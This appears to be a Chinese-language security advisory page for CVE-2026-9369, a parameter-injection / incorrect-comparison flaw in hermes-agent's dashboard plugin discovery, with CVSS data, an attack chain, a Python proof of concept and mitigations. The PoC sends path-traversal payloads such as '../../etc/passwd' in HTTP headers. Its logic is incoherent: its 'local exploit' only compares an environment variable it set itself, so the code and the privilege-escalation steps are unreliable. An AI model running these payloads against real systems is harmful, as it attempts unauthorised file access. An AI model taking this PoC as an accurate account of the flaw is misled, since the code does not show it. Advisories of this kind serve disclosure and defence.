IPBUF安全漏洞报告
English
CVE-2026-9369 CVSS 5.3 中危

CVE-2026-9369 NousResearch hermes-agent CLI参数注入漏洞

披露日期: 2026-05-24

漏洞信息

漏洞编号
CVE-2026-9369
漏洞类型
访问控制绕过/参数注入/不安全的比较
CVSS评分
5.3 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
NousResearch hermes-agent

相关标签

CVE-2026-9369 NousResearchhermes-agent参数注入访问控制绕过本地攻击CLI漏洞不安全比较web-dashboard中等严重性

漏洞概述

CVE-2026-9369是NousResearch hermes-agent 2026.4.23版本中的一个中等严重性安全漏洞。该漏洞位于CLI web-dashboard接口的hermes_cli/web_server.py文件中的_discover_dashboard_plugins函数。攻击者通过操纵HERMES_ENABLE_PROJECT_PLUGINS参数,可以实现不正确的比较逻辑,从而可能绕过安全检查或执行未授权操作。此漏洞需要本地访问权限才能利用,CVSS评分为5.3,属于中等严重级别。漏洞已于2026年5月24日公开披露,发现者已向厂商报告但未得到回应。由于漏洞利用代码已公开,建议用户尽快采取防御措施。

技术细节

漏洞根源在于hermes_cli/web_server.py文件中的_discover_dashboard_plugins函数对HERMES_ENABLE_PROJECT_PLUGINS参数的处理存在缺陷。具体问题是不正确的比较逻辑,可能导致访问控制被绕过。攻击者可以通过本地访问系统,修改或注入HERMES_ENABLE_PROJECT_PLUGINS参数值,触发不安全的比较操作。这种不安全的比较可能导致认证检查失效,允许攻击者访问原本需要特定权限才能访问的功能或资源。CVSS向量显示攻击复杂度低(AC:L),需要低权限用户身份(PR:L),但成功利用后可影响机密性(C:L)、完整性(I:L)和可用性(A:L)。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统上安装的NousResearch hermes-agent版本,确认版本为2026.4.23且存在hermes_cli/web_server.py文件
STEP 2
步骤2: 本地访问
攻击者获得目标系统的本地访问权限(需要低权限用户账户),可以通过SSH、终端或已入侵的账户登录系统
STEP 3
步骤3: 参数注入
攻击者构造恶意的HERMES_ENABLE_PROJECT_PLUGINS参数值,通过环境变量或HTTP请求头注入路径遍历载荷或特殊构造的字符串
STEP 4
步骤4: 触发漏洞函数
攻击者调用或触发_discover_dashboard_plugins函数,使构造的参数值被传递给存在不安全比较的代码路径
STEP 5
步骤5: 绕过安全检查
由于不正确的比较逻辑,攻击者成功绕过访问控制检查,获得未授权的插件加载或配置修改权限
STEP 6
步骤6: 权限提升/数据访问
成功利用后,攻击者可以访问受限资源、修改配置或执行其他需要更高权限的操作,影响系统机密性、完整性和可用性

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2026-9369 PoC - hermes-agent parameter injection # Target: NousResearch hermes-agent 2026.4.23 # Component: hermes_cli/web_server.py # Function: _discover_dashboard_plugins import os import sys import requests def exploit_cve_2026_9369(target_url, malicious_plugin_path): """ Exploit for CVE-2026-9369 Manipulate HERMES_ENABLE_PROJECT_PLUGINS parameter to bypass comparison """ headers = { 'X-Hermes-Plugin-Enable': malicious_plugin_path, 'HERMES_ENABLE_PROJECT_PLUGINS': '1;../../etc/passwd' # Injection attempt } # Target the web dashboard interface target = f"{target_url}/api/dashboard/plugins/discover" try: response = requests.get(target, headers=headers, timeout=10) print(f"[*] Request sent to {target}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") # Check for successful exploitation indicators if response.status_code == 200 and 'plugin' in response.text.lower(): print("[+] Potential exploitation successful - unauthorized plugin access") return True except Exception as e: print(f"[-] Error: {e}") return False def local_exploit(): """ Local exploitation via environment variable manipulation """ # Set malicious environment variable os.environ['HERMES_ENABLE_PROJECT_PLUGINS'] = '../../malicious/plugin' # Trigger the vulnerable function # This would be done by calling the hermes-cli command print("[*] Setting HERMES_ENABLE_PROJECT_PLUGINS to path traversal payload") print("[*] Invoking _discover_dashboard_plugins function") # Simulate the vulnerable comparison enable_plugins = os.environ.get('HERMES_ENABLE_PROJECT_PLUGINS', '') if enable_plugins != '0' and enable_plugins != 'false': print("[+] Comparison bypassed - parameter accepted") return True return False if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python3 cve-2026-9369.py <target_url>") sys.exit(1) target = sys.argv[1] exploit_cve_2026_9369(target, '../../etc/passwd')

影响范围

NousResearch hermes-agent <= 2026.4.23

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1) 限制对hermes-agent CLI工具的访问,仅允许受信任的管理员使用;2) 监控和审计系统调用,特别是涉及HERMES_ENABLE_PROJECT_PLUGINS参数的执行;3) 考虑禁用或限制web-dashboard接口功能;4) 实施网络隔离,确保攻击者无法获得本地访问权限;5) 部署入侵检测系统监控异常行为;6) 定期备份系统配置和数据,以便在发生安全事件时快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表